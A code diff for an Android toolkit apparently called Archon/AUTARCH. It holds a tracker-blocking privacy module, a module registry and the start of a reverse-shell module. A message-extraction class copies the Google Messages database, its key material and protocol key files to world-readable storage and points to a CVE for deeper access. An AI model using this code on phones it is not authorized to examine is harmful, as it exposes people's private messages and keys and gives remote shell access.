|
||||
private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
|
||||
private val bugleWal = "$bugleDb-wal"
|
||||
private val bugleShm = "$bugleDb-shm"
|
||||
private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
|
||||
private val filesDir = "/data/data/$gmsgPkg/files/"
|
||||
private val stagingDir = "/sdcard/Download/autarch_extract"
|
||||
|
||||
/**
|
||||
* Get the Google Messages app UID (needed for run-as or key extraction).
|
||||
*/
|
||||
fun getGoogleMessagesUid(): Int? {
|
||||
val output = executeCommand("pm list packages -U $gmsgPkg")
|
||||
val match = Regex("uid:(\\d+)").find(output)
|
||||
return match?.groupValues?.get(1)?.toIntOrNull()
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if Google Messages is installed and get version info.
|
||||
*/
|
||||
fun getGoogleMessagesInfo(): Map<String, String> {
|
||||
val info = mutableMapOf<String, String>()
|
||||
val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
|
||||
for (line in dump.lines()) {
|
||||
val trimmed = line.trim()
|
||||
if (trimmed.contains("versionName=")) {
|
||||
info["version"] = trimmed.substringAfter("versionName=").trim()
|
||||
}
|
||||
if (trimmed.contains("versionCode=")) {
|
||||
info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
|
||||
}
|
||||
}
|
||||
val uid = getGoogleMessagesUid()
|
||||
if (uid != null) info["uid"] = uid.toString()
|
||||
return info
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the encryption key material from Google Messages' shared_prefs.
|
||||
*
|
||||
* The bugle_db is encrypted at rest. Key material is stored in:
|
||||
* - shared_prefs/ XML files (key alias, crypto params)
|
||||
* - Android Keystore (hardware-backed master key)
|
||||
*
|
||||
* We extract all shared_prefs and files/ contents so offline decryption
|
||||
* can be attempted. The actual Keystore master key cannot be extracted
|
||||
* via ADB (hardware-backed), but the key derivation parameters in
|
||||
* shared_prefs may be enough for some encryption configurations.
|
||||
*/
|
||||
fun extractEncryptionKeyMaterial(): Map<String, Any> {
|
||||
val result = mutableMapOf<String, Any>()
|
||||
|
||||
// List shared_prefs files
|
||||
val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
|
||||
if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
|
||||
result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
|
||||
return result
|
||||
}
|
||||
result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
|
||||
|
||||
// Read each shared_prefs XML for crypto-related keys
|
||||
val cryptoData = mutableMapOf<String, String>()
|
||||
val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
|
||||
for (file in prefsFiles.lines()) {
|
||||
val fname = file.trim()
|
||||
if (fname.isBlank() || !fname.endsWith(".xml")) continue
|
||||
val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
|
||||
// Look for encryption-related entries
|
||||
if (content.contains("encrypt", ignoreCase = true) ||
|
||||
content.contains("cipher", ignoreCase = true) ||
|
||||
content.contains("key", ignoreCase = true) ||
|
||||
content.contains("crypto", ignoreCase = true) ||
|
||||
content.contains("secret", ignoreCase = true)) {
|
||||
cryptoData[fname] = content
|
||||
}
|
||||
}
|
||||
result["crypto_prefs"] = cryptoData
|
||||
result["crypto_prefs_count"] = cryptoData.size
|
||||
|
||||
// List files/ directory (Signal Protocol state, etc.)
|
||||
val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
|
||||
result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract bugle_db + WAL + key material to staging directory.
|
||||
* The database is encrypted — both DB and key files are needed.
|
||||
*/
|
||||
fun extractBugleDbRaw(): Map<String, Any> {
|
||||
val result = mutableMapOf<String, Any>()
|
||||
|
||||
executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
|
||||
|
||||
// Copy database files
|
||||
val dbFiles = mutableListOf<String>()
|
||||
for (path in listOf(bugleDb, bugleWal, bugleShm)) {
|
||||
val fname = path.substringAfterLast("/")
|
||||
val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
|
||||
if (cp.exitCode == 0) dbFiles.add(fname)
|
||||
}
|
||||
result["db_files"] = dbFiles
|
||||
|
||||
// Copy shared_prefs (key material)
|
||||
executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
|
||||
executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
|
||||
|
||||
// Copy files dir (Signal Protocol keys)
|
||||
executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
|
||||
executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
|
||||
|
||||
result["staging_dir"] = stagingDir
|
||||
result["encrypted"] = true
|
||||
result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
|
||||
"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
/**
|
||||
* Dump decrypted messages by querying from within the app context.
|
||||
*
|
||||
* When Google Messages opens its own bugle_db, it has access to the
|
||||
* encryption key. We can intercept the decrypted data by:
|
||||
* 1. Using `am` commands to trigger data export activities
|
||||
* 2. Querying exposed content providers
|
||||
* 3. Reading from the in-memory decrypted state via debug tools
|
||||
*
|
||||
* As a fallback, we use the standard telephony content providers which
|
||||
* have the SMS/MMS data in plaintext (but not RCS).
|
||||
*/
|
||||
fun dumpDecryptedMessages(): Map<String, Any> {
|
||||
val result = mutableMapOf<String, Any>()
|
||||
val messages = mutableListOf<Map<String, Any>>()
|
||||
|
||||
// Method 1: Query AOSP RCS content provider (content://rcs/)
|
||||
val rcsThreads = executeCommand(
|
||||
"content query --uri content://rcs/thread 2>/dev/null"
|
||||
)
|
||||
if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
|
||||
result["rcs_provider_accessible"] = true
|
||||
// Parse thread IDs and query messages from each
|
||||
for (line in rcsThreads.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
|
||||
val tid = tidMatch?.groupValues?.get(1) ?: continue
|
||||
val msgOutput = executeCommand(
|
||||
"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
|
||||
)
|
||||
for (msgLine in msgOutput.lines()) {
|
||||
if (!msgLine.startsWith("Row:")) continue
|
||||
val row = parseContentRow(msgLine)
|
||||
row["thread_id"] = tid
|
||||
row["source"] = "rcs_provider"
|
||||
messages.add(row)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
result["rcs_provider_accessible"] = false
|
||||
}
|
||||
|
||||
// Method 2: Standard SMS/MMS content providers (always decrypted)
|
||||
val smsOutput = executeCommand(
|
||||
"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
|
||||
"--sort \"date DESC\" 2>/dev/null"
|
||||
)
|
||||
for (line in smsOutput.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
val row = parseContentRow(line)
|
||||
row["source"] = "sms_provider"
|
||||
row["protocol"] = "SMS"
|
||||
messages.add(row)
|
||||
}
|
||||
|
||||
// Method 3: Try to trigger Google Messages backup/export
|
||||
// Google Messages has an internal export mechanism accessible via intents
|
||||
val backupResult = executeCommand(
|
||||
"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
|
||||
"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
|
||||
)
|
||||
result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
|
||||
|
||||
result["messages"] = messages
|
||||
result["message_count"] = messages.size
|
||||
result["note"] = if (messages.isEmpty()) {
|
||||
"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
|
||||
"or use CVE-2024-0044 to access bugle_db from the app's UID."
|
||||
} else {
|
||||
"Retrieved ${messages.size} messages. RCS messages require elevated access."
|
||||
}
|
||||
|
||||
// Write decrypted dump to file
|
||||
if (messages.isNotEmpty()) {
|
||||
try {
|
||||
val json = org.json.JSONArray()
|
||||
for (msg in messages) {
|
||||
val obj = org.json.JSONObject()
|
||||
for ((k, v) in msg) obj.put(k, v)
|
||||
json.put(obj)
|
||||
}
|
||||
executeCommand("mkdir -p $stagingDir")
|
||||
val jsonStr = json.toString(2)
|
||||
// Write via shell since we may not have direct file access
|
||||
val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
|
||||
executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
|
||||
result["json_path"] = "$stagingDir/messages.json"
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to write JSON dump", e)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the RCS account/registration info from Google Messages.
|
||||
* This tells us if RCS is active, what phone number is registered, etc.
|
||||
*/
|
||||
fun getRcsAccountInfo(): Map<String, Any> {
|
||||
val info = mutableMapOf<String, Any>()
|
||||
|
||||
// IMS registration state
|
||||
val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
|
||||
if (!imsOutput.startsWith("ERROR")) {
|
||||
info["ims_dump_length"] = imsOutput.length
|
||||
for (line in imsOutput.lines()) {
|
||||
val l = line.trim().lowercase()
|
||||
if ("registered" in l && "ims" in l) info["ims_registered"] = true
|
||||
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
|
||||
}
|
||||
}
|
||||
|
||||
// Carrier config RCS keys
|
||||
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
|
||||
val rcsConfig = mutableMapOf<String, String>()
|
||||
for (line in ccOutput.lines()) {
|
||||
val l = line.trim().lowercase()
|
||||
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
|
||||
val (k, v) = line.trim().split("=", limit = 2)
|
||||
rcsConfig[k.trim()] = v.trim()
|
||||
}
|
||||
}
|
||||
info["carrier_rcs_config"] = rcsConfig
|
||||
|
||||
// Google Messages specific RCS settings
|
||||
val gmsgPrefs = executeCommand(
|
||||
"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
|
||||
)
|
||||
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
|
||||
// Extract RCS-related prefs
|
||||
val rcsPrefs = mutableMapOf<String, String>()
|
||||
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
|
||||
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
|
||||
}
|
||||
info["gmsg_rcs_prefs"] = rcsPrefs
|
||||
}
|
||||
|
||||
// Phone number / MSISDN
|
||||
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
|
||||
info["phone_service_response"] = phoneOutput.take(200)
|
||||
|
||||
// Google Messages version
|
||||
info["google_messages"] = getGoogleMessagesInfo()
|
||||
|
||||
return info
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a `content query` output row into a map.
|
||||
*/
|
||||
private fun parseContentRow(line: String): MutableMap<String, Any> {
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
|
||||
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
|
||||
for (field in fields) {
|
||||
val eqPos = field.indexOf('=')
|
||||
if (eqPos == -1) continue
|
||||
val key = field.substring(0, eqPos).trim()
|
||||
val value = field.substring(eqPos + 1).trim()
|
||||
row[key] = if (value == "NULL") "" else value
|
||||
}
|
||||
return row
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
|
||||
/**
|
||||
* Interface for Archon extension modules.
|
||||
* Modules provide security/privacy actions that run through PrivilegeManager.
|
||||
*/
|
||||
interface ArchonModule {
|
||||
val id: String
|
||||
val name: String
|
||||
val description: String
|
||||
val version: String
|
||||
|
||||
fun getActions(): List<ModuleAction>
|
||||
fun executeAction(actionId: String, context: Context): ModuleResult
|
||||
fun getStatus(context: Context): ModuleStatus
|
||||
}
|
||||
|
||||
data class ModuleAction(
|
||||
val id: String,
|
||||
val name: String,
|
||||
val description: String,
|
||||
val privilegeRequired: Boolean = true,
|
||||
val rootOnly: Boolean = false
|
||||
)
|
||||
|
||||
data class ModuleResult(
|
||||
val success: Boolean,
|
||||
val output: String,
|
||||
val details: List<String> = emptyList()
|
||||
)
|
||||
|
||||
data class ModuleStatus(
|
||||
val active: Boolean,
|
||||
val summary: String,
|
||||
val details: Map<String, String> = emptyMap()
|
||||
)
|
||||
@@ -0,0 +1,330 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
|
||||
/**
|
||||
* Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints.
|
||||
* Ported from AUTARCH core/android_protect.py honeypot section.
|
||||
*
|
||||
* Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics
|
||||
* Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data
|
||||
* Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity
|
||||
*/
|
||||
class HoneypotModule : ArchonModule {
|
||||
|
||||
override val id = "honeypot"
|
||||
override val name = "Tracking Honeypot"
|
||||
override val description = "Block trackers & fake device fingerprint data"
|
||||
override val version = "1.0"
|
||||
|
||||
// Well-known tracker packages
|
||||
private val knownTrackers = listOf(
|
||||
"com.google.android.gms", // Google Play Services (partial)
|
||||
"com.facebook.katana", // Facebook
|
||||
"com.facebook.orca", // Messenger
|
||||
"com.instagram.android", // Instagram
|
||||
"com.zhiliaoapp.musically", // TikTok
|
||||
"com.twitter.android", // Twitter/X
|
||||
"com.snapchat.android", // Snapchat
|
||||
"com.amazon.mShop.android.shopping", // Amazon
|
||||
)
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
// Tier 1: ADB-level, no root
|
||||
ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"),
|
||||
ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"),
|
||||
ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"),
|
||||
ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"),
|
||||
ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"),
|
||||
ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"),
|
||||
|
||||
// Tier 2: ADB-level, app-specific
|
||||
ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"),
|
||||
ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"),
|
||||
ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"),
|
||||
|
||||
// Tier 3: Root only
|
||||
ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true),
|
||||
ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true),
|
||||
ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true),
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
return when (actionId) {
|
||||
"reset_ad_id" -> resetAdId()
|
||||
"opt_out_tracking" -> optOutTracking()
|
||||
"set_private_dns" -> setPrivateDns()
|
||||
"disable_scanning" -> disableScanning()
|
||||
"disable_diagnostics" -> disableDiagnostics()
|
||||
"harden_all" -> hardenAll()
|
||||
"restrict_trackers" -> restrictTrackers()
|
||||
"revoke_tracker_perms" -> revokeTrackerPerms()
|
||||
"force_stop_trackers" -> forceStopTrackers()
|
||||
"deploy_hosts" -> deployHostsBlocklist()
|
||||
"setup_iptables" -> setupIptablesRedirect()
|
||||
"randomize_identity" -> randomizeIdentity()
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
val tier = when (method) {
|
||||
PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)"
|
||||
PrivilegeManager.Method.ARCHON_SERVER,
|
||||
PrivilegeManager.Method.LOCAL_ADB,
|
||||
PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)"
|
||||
PrivilegeManager.Method.NONE -> "Unavailable"
|
||||
}
|
||||
return ModuleStatus(
|
||||
active = method != PrivilegeManager.Method.NONE,
|
||||
summary = "Available: $tier"
|
||||
)
|
||||
}
|
||||
|
||||
// ── Tier 1: ADB-level, system-wide ──────────────────────────────
|
||||
|
||||
private fun resetAdId(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings delete secure advertising_id",
|
||||
"settings put secure limit_ad_tracking 1",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Advertising ID reset, tracking limited"
|
||||
)
|
||||
}
|
||||
|
||||
private fun optOutTracking(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings put secure limit_ad_tracking 1",
|
||||
"settings put global are_app_usage_stats_enabled 0",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Ad tracking opt-out enabled"
|
||||
)
|
||||
}
|
||||
|
||||
private fun setPrivateDns(): ModuleResult {
|
||||
val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers
|
||||
val cmds = listOf(
|
||||
"settings put global private_dns_mode hostname",
|
||||
"settings put global private_dns_specifier $provider",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Private DNS set to $provider (tracker blocking)"
|
||||
)
|
||||
}
|
||||
|
||||
private fun disableScanning(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings put global wifi_scan_always_enabled 0",
|
||||
"settings put global ble_scan_always_enabled 0",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "WiFi/BLE background scanning disabled"
|
||||
)
|
||||
}
|
||||
|
||||
private fun disableDiagnostics(): ModuleResult {
|
||||
val cmds = listOf(
|
||||
"settings put global send_action_app_error 0",
|
||||
"settings put secure send_action_app_error 0",
|
||||
"settings put global upload_apk_enable 0",
|
||||
)
|
||||
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||
return ModuleResult(
|
||||
success = results.all { it.exitCode == 0 },
|
||||
output = "Diagnostics and crash reporting disabled"
|
||||
)
|
||||
}
|
||||
|
||||
private fun hardenAll(): ModuleResult {
|
||||
val actions = listOf(
|
||||
"Ad ID" to ::resetAdId,
|
||||
"Tracking" to ::optOutTracking,
|
||||
"DNS" to ::setPrivateDns,
|
||||
"Scanning" to ::disableScanning,
|
||||
"Diagnostics" to ::disableDiagnostics,
|
||||
)
|
||||
val details = mutableListOf<String>()
|
||||
var success = true
|
||||
for ((name, action) in actions) {
|
||||
val result = action()
|
||||
details.add("$name: ${result.output}")
|
||||
if (!result.success) success = false
|
||||
}
|
||||
return ModuleResult(
|
||||
success = success,
|
||||
output = "Applied ${actions.size} Tier 1 protections",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
// ── Tier 2: ADB-level, app-specific ─────────────────────────────
|
||||
|
||||
private fun restrictTrackers(): ModuleResult {
|
||||
val details = mutableListOf<String>()
|
||||
var restricted = 0
|
||||
for (pkg in knownTrackers) {
|
||||
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||
if (check.stdout.contains(pkg)) {
|
||||
val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny")
|
||||
if (r.exitCode == 0) {
|
||||
restricted++
|
||||
details.add("Restricted: $pkg")
|
||||
}
|
||||
}
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "$restricted tracker(s) restricted from background",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
private fun revokeTrackerPerms(): ModuleResult {
|
||||
val dangerousPerms = listOf(
|
||||
"android.permission.ACCESS_FINE_LOCATION",
|
||||
"android.permission.ACCESS_COARSE_LOCATION",
|
||||
"android.permission.READ_PHONE_STATE",
|
||||
"android.permission.READ_CONTACTS",
|
||||
"android.permission.RECORD_AUDIO",
|
||||
"android.permission.CAMERA",
|
||||
)
|
||||
val details = mutableListOf<String>()
|
||||
var totalRevoked = 0
|
||||
|
||||
for (pkg in knownTrackers) {
|
||||
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||
if (!check.stdout.contains(pkg)) continue
|
||||
|
||||
var pkgRevoked = 0
|
||||
for (perm in dangerousPerms) {
|
||||
val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
|
||||
if (r.exitCode == 0) pkgRevoked++
|
||||
}
|
||||
if (pkgRevoked > 0) {
|
||||
totalRevoked += pkgRevoked
|
||||
details.add("$pkg: revoked $pkgRevoked permissions")
|
||||
}
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Revoked $totalRevoked permissions from trackers",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
private fun forceStopTrackers(): ModuleResult {
|
||||
val details = mutableListOf<String>()
|
||||
var stopped = 0
|
||||
for (pkg in knownTrackers) {
|
||||
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||
if (check.stdout.contains(pkg)) {
|
||||
PrivilegeManager.execute("am force-stop $pkg")
|
||||
stopped++
|
||||
details.add("Stopped: $pkg")
|
||||
}
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "$stopped tracker(s) force-stopped",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
// ── Tier 3: Root only ───────────────────────────────────────────
|
||||
|
||||
private fun deployHostsBlocklist(): ModuleResult {
|
||||
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||
return ModuleResult(false, "Root access required for hosts file modification")
|
||||
}
|
||||
|
||||
val trackerDomains = listOf(
|
||||
"graph.facebook.com", "pixel.facebook.com", "an.facebook.com",
|
||||
"analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com",
|
||||
"analytics.tiktok.com", "log.byteoversea.com",
|
||||
"graph.instagram.com",
|
||||
"ads-api.twitter.com", "analytics.twitter.com",
|
||||
"tr.snapchat.com", "sc-analytics.appspot.com",
|
||||
)
|
||||
|
||||
val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" }
|
||||
val cmds = listOf(
|
||||
"mount -o remount,rw /system 2>/dev/null || true",
|
||||
"cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true",
|
||||
"echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts",
|
||||
"mount -o remount,ro /system 2>/dev/null || true",
|
||||
)
|
||||
|
||||
for (cmd in cmds) {
|
||||
PrivilegeManager.execute(cmd)
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts"
|
||||
)
|
||||
}
|
||||
|
||||
private fun setupIptablesRedirect(): ModuleResult {
|
||||
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||
return ModuleResult(false, "Root access required for iptables")
|
||||
}
|
||||
|
||||
val cmds = listOf(
|
||||
"iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true",
|
||||
"iptables -t nat -F AUTARCH_HONEYPOT",
|
||||
// Redirect known tracker IPs to localhost (honeypot)
|
||||
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443",
|
||||
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443",
|
||||
"iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT",
|
||||
)
|
||||
|
||||
val details = mutableListOf<String>()
|
||||
for (cmd in cmds) {
|
||||
val r = PrivilegeManager.execute(cmd)
|
||||
if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}")
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Iptables honeypot chain configured",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
private fun randomizeIdentity(): ModuleResult {
|
||||
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||
return ModuleResult(false, "Root access required for identity randomization")
|
||||
}
|
||||
|
||||
val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("")
|
||||
val cmds = listOf(
|
||||
"settings put secure android_id $randomId",
|
||||
"settings delete secure advertising_id",
|
||||
"settings put secure limit_ad_tracking 1",
|
||||
)
|
||||
|
||||
val details = mutableListOf<String>()
|
||||
for (cmd in cmds) {
|
||||
val r = PrivilegeManager.execute(cmd)
|
||||
details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}")
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Identity randomized (android_id=$randomId)",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
|
||||
/**
|
||||
* Central registry for Archon modules.
|
||||
* Modules register at init time and can be discovered/invoked by the UI.
|
||||
*/
|
||||
object ModuleManager {
|
||||
|
||||
private const val TAG = "ModuleManager"
|
||||
private val modules = mutableListOf<ArchonModule>()
|
||||
private var initialized = false
|
||||
|
||||
fun init() {
|
||||
if (initialized) return
|
||||
register(ShieldModule())
|
||||
register(HoneypotModule())
|
||||
register(ReverseShellModule())
|
||||
initialized = true
|
||||
Log.i(TAG, "Initialized with ${modules.size} modules")
|
||||
}
|
||||
|
||||
fun register(module: ArchonModule) {
|
||||
if (modules.none { it.id == module.id }) {
|
||||
modules.add(module)
|
||||
Log.i(TAG, "Registered module: ${module.id} (${module.name})")
|
||||
}
|
||||
}
|
||||
|
||||
fun getAll(): List<ArchonModule> = modules.toList()
|
||||
|
||||
fun get(id: String): ArchonModule? = modules.find { it.id == id }
|
||||
|
||||
fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult {
|
||||
val module = get(moduleId)
|
||||
?: return ModuleResult(false, "Module not found: $moduleId")
|
||||
return module.executeAction(actionId, context)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.io.OutputStreamWriter
|
||||
import java.io.PrintWriter
|
||||
import java.net.InetSocketAddress
|
||||
import java.net.Socket
|
||||
import java.util.UUID
|
||||
|
||||
/**
|
||||
* Reverse Shell module — connects back to the AUTARCH server for remote device management.
|
||||
*
|
||||
* SAFETY GATES:
|
||||
* 1. Disabled by default — must be explicitly enabled
|
||||
* 2. Three warning prompts before enabling (enforced in UI)
|
||||
* 3. Kill switch — disconnect at any time from app or by force-stopping
|
||||
* 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log
|
||||
* 5. Auto-timeout — connection drops after configurable time (default 30 min)
|
||||
* 6. Server verification — only connects to configured AUTARCH server IP
|
||||
* 7. Token auth — random token per session
|
||||
*
|
||||
* The shell process (ArchonShell.java) runs via app_process at UID 2000,
|
||||
* same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener.
|
||||
*/
|
||||
class ReverseShellModule : ArchonModule {
|
||||
|
||||
override val id = "revshell"
|
||||
override val name = "Reverse Shell"
|
||||
override val description = "Remote shell connection to AUTARCH server for device investigation"
|
||||
override val version = "1.0"
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ReverseShellModule"
|
||||
private const val PREFS_NAME = "archon_revshell"
|
||||
private const val KEY_ENABLED = "revshell_enabled"
|
||||
private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted"
|
||||
private const val KEY_PORT = "revshell_port"
|
||||
private const val KEY_TIMEOUT = "revshell_timeout_min"
|
||||
private const val KEY_SESSION_TOKEN = "revshell_session_token"
|
||||
private const val DEFAULT_PORT = 17322
|
||||
private const val DEFAULT_TIMEOUT = 30 // minutes
|
||||
private const val SHELL_PROCESS_NAME = "archon_shell"
|
||||
|
||||
// Warning messages shown before enabling (UI enforces showing all 3)
|
||||
val WARNINGS = listOf(
|
||||
"This enables a reverse shell connection to your AUTARCH server. " +
|
||||
"This gives remote shell access (UID 2000) to this device.",
|
||||
"Only enable this on devices YOU own. Never enable on someone else's device. " +
|
||||
"This is a defensive tool for investigating threats on your own phone.",
|
||||
"The reverse shell will connect to your configured AUTARCH server. " +
|
||||
"You can disable it at any time from this screen or by force-stopping the app."
|
||||
)
|
||||
}
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
